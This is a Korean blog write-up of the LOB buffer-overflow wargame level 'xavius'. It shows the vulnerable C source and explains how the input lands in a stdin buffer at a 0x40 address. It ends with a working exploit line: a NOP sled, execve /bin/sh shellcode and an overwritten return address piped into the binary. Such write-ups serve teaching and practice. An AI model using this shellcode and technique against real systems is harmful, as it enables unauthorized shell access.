BOF redhat 원정대 nightmare -> xavius

BOF radhat 원정대 nightmare -> xavius

xavius, xavius.c

/*
The Lord of the BOF : The Fellowship of the BOF
- xavius
- arg
*/
#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>
main()
{
char buffer[40];
char *ret_addr;
// overflow!
fgets(buffer, 256, stdin);
printf("%s\n", buffer);
if(*(buffer+47) == '\xbf')
{
printf("stack retbayed you!\n");
exit(0);
}
if(*(buffer+47) == '\x08')
{
printf("binary image retbayed you, too!!\n");
exit(0);
}
// check if the ret_addr is library function or not
memcpy(&ret_addr, buffer+44, 4);
while(memcmp(ret_addr, "\x90\x90", 2) != 0) // end point of function
{
if(*ret_addr == '\xc9'){ // leave
if(*(ret_addr+1) == '\xc3'){ // ret
printf("You cannot use library function!\n");
exit(0);
}
}
ret_addr++;
}
// stack destroyer
memset(buffer, 0, 44);
memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
// LD_* eraser
// 40 : extra space for memset function
memset(buffer-3000, 0, 3000-40);
}
view raw xavis.c hosted with ❤ by GitHub

코드를 보면 대부분의 주소를 사용할 수 없게 만들어 놓았다. 우리가 지금까지 사용하던 메모리는 사용을 할 수가 없다. 하지만 0x40으로 시작하는 주소를 막아 놓지 않았다. 임의의 입력값을 넣은 후 이 부분의 메모리에서 임의의 입력값을 찾아보자.


xavius.c의 코드에 코드가 다 실행되고 메모리를 검사하는 코드를 넣었다. ret이전에 메모리에 올라간 부분을 다 스캔할 수 있다.

AAAA를 적당히 넣고 코드를 실행해보면


0x40015009에 임의의 입력값인 AAAA가 들어있음을 알 수 있다. 임의의 입력값이 전부 제대로 들어간다면 쉘코드를 넣고 RET를 조작하여 쉘을 얻게 할 수 있다.
0x40015009의 주소를 gdb로 확인해보자.


임의의 입력값이 들어가있다. xavius.c가 호출하는 어떤 함수의 버퍼라고 유추할 수 있겠다.
이제 여기에 쉘코드를 넣고 RET를 이 영역으로 덮어 씌우면 공격에 성공할 수 있다.
페이로드는
[놉+쉘코드][RET]
로 구성하여 공격을 해보면


쉘을 얻을 수 있다.
쉘코드 :
(python -c 'print "\x90"*20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x09\x50\x01\x40"';cat)|./xavius

0 개의 댓글:

댓글 쓰기